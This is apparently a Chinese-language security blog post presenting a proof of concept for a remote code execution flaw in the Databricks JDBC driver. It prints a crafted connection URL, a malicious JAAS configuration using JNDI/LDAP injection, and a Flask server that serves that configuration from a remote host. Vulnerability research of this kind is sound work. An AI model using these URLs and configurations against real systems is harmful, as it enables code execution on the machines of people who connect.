背景故事
昨天,收到了有关 Databricks JDBC 驱动程序的威胁情报警报。经过快速检查,我找到了问题的根本原因。
该漏洞源于对 krbJAASFile 参数的不当处理。攻击者可以利用此漏洞在驱动程序上下文中实现远程代码执行 (RCE),方法是诱骗受害者使用包含 krbJAASFile 属性的特制连接 URL。需要注意的是,受影响的产品版本为 2.6.38 及更早版本。
构建 PoC
创建概念验证 (PoC) 对于有效重现漏洞至关重要。它通常可以在测试过程中节省大量时间。在研究 JDBC 程序集几年后,我明白开发一个清晰可靠的 PoC 是多么重要。
以下是存在漏洞的连接 URL:
jdbc:databricks://127.0.0.1:443;AuthMech=1;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=/tmp/jaas.conf";
JAAS配置文件如下:
Client {
com.sun.security.auth.module.JndiLoginModule required
user.provider.url="ldap://127.0.0.1:1389/wr4euw"
group.provider.url="test"
useFirstPass=true
serviceName="test"
debug=true;
};
显然,这不是我们想要的结果。由于我们无法入侵服务器并修改其配置或 JAAS 文件,因此我开发了一个 Web 服务器来提供配置文件的内容 — 本质上是一个恶意的 JNDI 远程代码库。
我使用 Flask 安排了 Web 服务器代码,如下所示:
from flask import Flask, request
app = Flask(__name__)
@app.route('/jaas.conf', methods=['POST','GET'])
def SSOJSON():
if request.method == 'GET':
# Path to your jaas.conf file
jaas_conf_path = '/root/ssl/jaas.conf'
try:
# Read the contents of the jaas.conf file
with open(jaas_conf_path, 'r') as file:
jaas_content = file.read()
return jaas_content
except Exception as e:
# Handle exceptions (file not found, etc.)
return false;
if __name__ == '__main__':
app.run('0.0.0.0', debug=True, port=443, ssl_context=('/root/ssl/jdbc.pyn3rd.com.pem', '/root/ssl/jdbc.pyn3rd.com.key'))
我的方法是可行的:远程 Web 服务器接收请求,无缝加载恶意配置文件。然后通过 JNDI 注入触发远程代码执行。
以下是用于利用此漏洞的精心设计的连接 URL:
jdbc:databricks://127.0.0.1:443;AuthMech=1;principal=test;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=https://jdbc.pyn3rd.com:443/jaas.conf
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里